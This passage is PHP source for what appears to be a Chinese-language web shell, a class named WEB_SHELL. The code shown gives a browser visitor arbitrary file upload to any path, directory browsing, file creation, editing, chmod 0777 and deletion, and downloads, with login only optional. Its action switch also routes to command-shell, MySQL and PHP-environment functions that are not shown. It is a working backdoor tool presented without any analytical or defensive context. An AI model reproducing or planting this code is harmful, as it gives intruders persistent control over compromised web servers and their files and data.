				else{
					if(@fwrite($fd,$editfiletext))
                                         $return1 .="编辑文件[$editfilename]成功!";
                                        else  $return1 .="写入文件文件[$editfilename]错误";
					@fclose( $fd );
				}
			}
     
        $this->Redirect("$return1", $r_admin[url]);
     
}


// ---------------------------------------------------------------------
//
// 上传保存文件 
//
// ---------------------------------------------------------------------
function fileup()
{
        global $r_admin;
        $filedir  = $this->input['filedir'];
        $userfile = $_FILES['userfile'];
        if (@copy($userfile["tmp_name"],"{$filedir}/{$userfile['name']}")) 
	{
	        $upok = true;
	}
	else
	{
                $upok = false;
   	}
      
      
  if($upok==false) 
     { 
        //读取文件内容 
	@$fp=fopen($userfile['tmp_name'],"rb"); 
        @$filecontent=fread($fp,$userfile['size']); 
        @fclose($fp); 
        @$fp2=fopen("$filedir/$userfile[name]","wb"); 
        if(@fwrite($fp2,$filecontent,$userfile['size'])) 
         { 
           $upok=true; 
         } 
        @fclose($fp2); 
      } 

   if ($upok == true) {

     	   $return .="
	  上传文件[{$userfile[name]}]成功.位置:[{$filedir}/{$userfile[name]}]共({$userfile[size]})字节.
	  ";
   }
   if ($upok == false) {
     
   	   $return .="
          上传文件[{$userfile[name]}]失败. 
	  ";

   }
      
       $this->Redirect("$return", $r_admin[url]);
}





// ---------------------------------------------------------------------
//
// 得到真实路径
//
// ---------------------------------------------------------------------

function gettruepath($path){
    return str_replace("\\","/",@realpath($path));
}





// ---------------------------------------------------------------------
//
// 显示
//
// ---------------------------------------------------------------------

function indexshow()
{
    global $r_admin;
   
//    $this->start_sh();
 
    $deldir = $this->input['deldir'];
    $delfile = $this->input['delfile'];
    $r_admin[gotodir] = $this->input['gotodir'];
    
//echo $r_admin[gotodir];
 
    $this->start_sh();
    
if ($this->input["action"] == "logout")
{
        $r_admin[pass] = "0";
	@session_destroy();
	$this->Redirect("注销成功, 返回到首页",$r_admin[url]);

}
    if(isset($r_admin[gotodir])) if($r_admin[gotodir] != "") 
             
      $r_admin[nowpath]=$r_admin[gotodir]; 
    
    if(isset($deldir)) 
	{
         $out = file_exists($deldir)?($this->deltree($deldir)?"删除目录[$deldir]成功!":"删除目录[$deldir]失败!"):"目录[$deldir]不存在!!";

         $this->Redirect("$out", $r_admin[url]);
    			}
    else if(isset($delfile)){
        @chmod("$delfile", 0777);
	 $out = file_exists($delfile)?(@unlink($delfile)?"删除文件[$delfile]成功!":"删除文件[$delfile]失败!"):"文件[$delfile]不存在!";
			
           
       $this->Redirect("$out", $r_admin[url]);
       }    

        $action = $this->input['action'];
        $mkdirb = $this->input['mkdirb'];      
        $mkfileb = $this->input['mkfileb'];      

		 if($action == "createfile"){
			if(isset($mkdirb)){
				 $out = file_exists("$r_admin[nowpath]/$mkdirb")?"[{$r_admin[nowpath]}/{$mkdirb}]该目录已存在":(@mkdir("$r_admin[nowpath]/$mkdirb",0777)?"目录[$mkdirb]创建成功":"目录[$mkdirb]创建失败");
			
                     $this->Redirect("$out", $r_admin[url]);
                            }
                      else if(isset($mkfileb)){
				if(file_exists("$r_admin[nowpath]/$mkfileb")) $out = "[$r_admin[nowpath]/$mkfileb]该文件已存在";
				else{
					$fd = @fopen("$r_admin[nowpath]/$mkfileb", "w");
					if($fd == false) $out ="建立文件[$mkfileb]错误.";
					else{
						$out = "建立文件[$mkfileb]成功 <a href=\"?action=editfile&dir=".urlencode($r_admin[nowpath])."/".urlencode($mkfileb)."\"><p>点此跳转入编辑浏览页面</a>";
						@fclose( $fd );
					}
				}
                     
                     $this->Redirect("$out", $r_admin[url]);
		}
            }








    $return .="
  <body bgcolor=#ffffff>  
  <br>
<table width=600 border=0 cellpadding=0 align='center'>
  <tr>  	
  	<td><p>WEB路径: $r_admin[pathname]<br>当前目录($r_admin[nowpath_attr]): $r_admin[nowpath]
    </td>
  </tr>
</table>

<table width=600 border=0 cellpadding=0 class='input_basic' align='center'>
 <form action='' method='GET'>
  <tr>  	
  	<td>
        输入要跳转到的目录:
        <input name='gotodir' type='text' class='INPUT'>
        <input type='submit' class='INPUT' value='跳转'> 〖支持绝对路径和相对路径〗
    </td>
  </tr>
 </form>
 <form action='?action=fileup&dir=".urlencode($r_admin[nowpath])."' method='post' enctype='multipart/form-data'>
  <tr>
    <td colspan='2'>上传文件到当前目录:
    <input name=\"filedir\" type=\"text\"  value=\"$r_admin[nowpath]\" size=30>&nbsp;<br>本地文件:
	<input name=\"userfile\" type=\"file\"  size=30>&nbsp;
	<input name=\"userfileb\" type=\"submit\"  value=\"上传\">
  </tr>
  </form>
  <form action='?action=createfile&dir=".urlencode($r_admin[nowpath])."' method='POST'>
  <tr>
    <td colspan='2'>新建文件在当前目录:
        <input name='mkfileb' type='text' class='INPUT' value=''>
        <input type='submit' class='INPUT' value='新建文件'>
        <input name='action' type='hidden' value='createfile'></td>
  </tr>
  </form>
  <form action='' method='POST'>
  <tr>
    <td colspan='2'>新建目录在当前目录:
        <input name='mkdirb' type='text' class='INPUT' value=''>
        <input type='submit' class='INPUT' value='新建目录'>
        <input name='action' type='hidden' value='createfile'></td>
  </tr>
  </form>
</table>
<br>


<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
    <td align='center' nowrap width='40%'><b>文件名称</b></td>
    <td align='center' nowrap width='20%'><b>修改日期</b></td>
    <td align='center' nowrap width='12%'><b>大小</b></td>
    <td align='center' nowrap width='8%'><b>属性</b></td>
    <td align='center' nowrap width='20%'><b>操作</b></td>
  </tr>
";

$r_admin[r_dirs]=@opendir($r_admin[nowpath]);

while ($file=@readdir($r_admin[r_dirs])) {

	$b="$r_admin[nowpath]/$file";
	
	$a=@is_dir($b);
	
        if($a=="1"){
	if($file!=".."&&$file!=".")	{
			$lastsave=@date("Y-n-d H:i:s",filemtime("$r_admin[nowpath]/$file"));
			$dirperm=substr(base_convert(fileperms("$r_admin[nowpath]/$file"),10,8),-4);
			$return .= "<tr class=\"input_basic\">\n";
			$return .= "  <td style=\"padding-left: 5px;\">[<a href=\"$r_admin[url]?dir=".urlencode($r_admin[nowpath])."/".urlencode($file)."\"><font color=\"#000099\">$file</font></a>]</td>";
			$return .= "  <td align=\"center\" nowrap valign=\"top\">$lastsave</td>\n";
			$return .= "  <td align=\"center\" nowrap valign=\"top\">&lt;dir&gt;</td>\n";
			$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($r_admin[nowpath])."&file=".urlencode($file)."\">$dirperm</a></td>";
			$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=index&deldir=".urlencode($r_admin[nowpath])."/".urlencode($file)."\">删除</a></td>";
			$return .= "</tr>\n";
		} else {
			if($file=="..") {
				//echo "<tr class=".getrowbg().">\n";
				$return .= "  <td nowrap colspan=\"5\" style=\"padding-left: 5px;\"><a href=\"?dir=".$r_admin[nowpath]."/".$file."\">返回上级目录</a></td>";
				$return .= "</tr>";
			}
		}
		$dir_i++;
	}
     
}//while

@closedir($r_admin[r_dirs]); 

// 显示文件
$r_admin[r_dirs]=@opendir($r_admin[nowpath]);

while ($file=@readdir($r_admin[r_dirs])) {
	
	$b="$r_admin[nowpath]/$file";

	

	$a=@is_dir($b);

	if($a=="0"){
		//	echo $r_admin[r_dir];
		$size=@filesize("$r_admin[nowpath]/$file");
		$size=$size/1024 ;
		$size= @number_format($size, 3);    
		$lastsave=@date("Y-n-d H:i:s",filectime("$r_admin[nowpath]/$file"));
		@$fileperm=substr(base_convert(fileperms("$r_admin[nowpath]/$file"),10,8),-4);
		$return .= "<tr class=\"input_basic\">";
		$return .= "  <td style=\"padding-left: 5px;\"><a href=\"$r_admin[r_dir]/$file\" target=\"_blank\">$file</a></td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\">$lastsave</td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\">$size KB</td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($r_admin[r_dir])."&file=".urlencode($file)."\">$fileperm</a></td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?downfile=".urlencode($r_admin[nowpath])."/".$file."\">下载</a> | <a href=\"?action=editfile&dir=".urlencode($r_admin[nowpath])."/".urlencode($file)."\">编辑</a> | <a href=\"?action=index&delfile=".urlencode($r_admin[nowpath])."/".urlencode($file)."\">删除</a></td>";
		$return .= "</tr>";
		$file_i++;
	}

}//while
@closedir($r_admin[r_dirs]); 


     $return .="  
      <td nowrap colspan=\"5\" align=\"right\">$dir_i 个目录<br>$file_i 个文件</td>
      </tr>           
</table>
";

   return $return;

}



function index()
{
	global $r_admin;
      
	$return  = $this->showhead($r_admin[b_name]);
        $return .= $this->indexshow();
        $return .= $this->showfooter();
        return $return; 

}





}




$style =" 
<style type=\"text/css\">
<!--

.p1 {  font-size: 9pt; line-height: 150%; color: #000000}
.q {  border: #000000 solid; border-width: 0px 0px 1px}
a:link { color: #333399; 
 font-size: 12px; 

 text-decoration: none;}
a:visited { color: #333333; 
 font-size: 12px; 

 text-decoration: none;}
a:active { color: #999999; 
 font-size: 12px; 
 
 text-decoration: none;}
a:hover { color: #999999;
 font-size: 12px; 
 font-weight: bold; 
 text-decoration: none;}
BODY {
	background-color: #ffffff; 

	SCROLLBAR-FACE-COLOR: #999999; SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #999999; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-TRACK-COLOR: #666666; SCROLLBAR-DARKSHADOW-COLOR: #666666

 font-family: verdana,trebuchet,sans-serif;
}
.p2 {  font-size: 9pt; color: #000000}
.qqqqqqqq {  border: #000000; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
.aq {  font-size: 9pt; line-height: 150%; color: #000000; filter: DropShadow(Color=#ffffff, OffX=1, OffY=1, Positive=1)}
.hghfdg {  font-size: 9pt; color: #333333; line-height: 130%}
.saw {  font-size: 9pt; line-height: 130%; color: #000000}

.ss {  font-size: 9pt;  line-height: 150%; color: #ffffff}

A {  font-size: 12px; color: 000099; TEXT-DECORATION: none}


.9p {  font-size: 12px }
.10p {  font-size: 10pt}
table {  font-size: 12px }
.button {  font-size: 12px; border: 1px #000000 solid; background-color: 333333; height: 18px; cursor: hand}
.editbox { font-size: 12px; border: 1px #000000 solid; background-color: #F8F8FF; height: 18px}
.bigline {  font-size: 12px; line-height: 120%; letter-spacing: 1}
.newmesg {  font-size: 12px; line-height: 120% }
.code {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #cccccc; FONT-FAMILY: Verdana; FONT-SIZE: 12px; PADDING-BOTTOM: 2px; PADDING-LEFT: 2px; PADDING-RIGHT: 2px; PADDING-TOP: 2px
}

TEXTAREA {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #333333; FONT-SIZE: 10pt
}
INPUT {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #333333; FONT-SIZE: 10pt
}
SELECT {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #333333; FONT-SIZE: 10pt
}

.title
{
background:#f6f6f6;
}
.input_basic {
	BORDER-RIGHT: #818181 1px solid; BORDER-TOP: #818181 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #818181 1px solid; COLOR: #000000; BORDER-BOTTOM: #818181 1px solid; FONT-FAMILY: \"Arial\", \"???\"; BACKGROUND-COLOR: #ffffff
}.tb_1 {
	border: 1px dashed #000099;
	bordercolor:#dddddd;
	margin: auto;
	padding: 1px;
	height: auto;
	width: auto;
}
.style1 {color: #000099; font-weight: bold;}
-->
    
</style>
";

//echo "$style";

// ---------------------------------------------------------------------
//
// 函数处理开始
//
// ---------------------------------------------------------------------
$sd = new FUNC;
$gb = new WEB_SHELL;

$gb->input = $sd->getinput();

// ---------------------------------------------------------------------
//
// 根据action的输入判断操作
//
// ---------------------------------------------------------------------
if ($r_admin[flag] == "1")
{
      	if($gb->check_logined()); 
	
        else if($r_admin[pass] == "0")
        {
         echo "$style";
	 $gb->show_login();
       	 return;
        }
}
switch ($gb->input['action'])
{
case 'fileman':
	echo $gb->index();
	break;

case 'editfile':
        echo "$style";
	echo $gb->editfile();
	break;

case 'savefile':
        echo "$style";
	echo $gb->savefile();
	break;

case 'fileup':
        echo "$style";
	echo $gb->fileup();
	break;

case 'shell':
        echo "$style";
	echo $gb->shell();
	break;

case 'mysql':
        echo "$style";
	echo $gb->mysql();
        break;

case 'phpenv':
        echo "$style";
	echo $gb->phpenv();
        break;


case 'phpinfo1':
        echo "$style";
	echo $gb->phpinfo1();
        break;



case 'logout':
        echo "$style";
	echo $gb->index();
        break;

case 'about':
        echo "$style";
	echo $gb->about();
        break;

default:
	echo $gb->index();
	break;
}






?>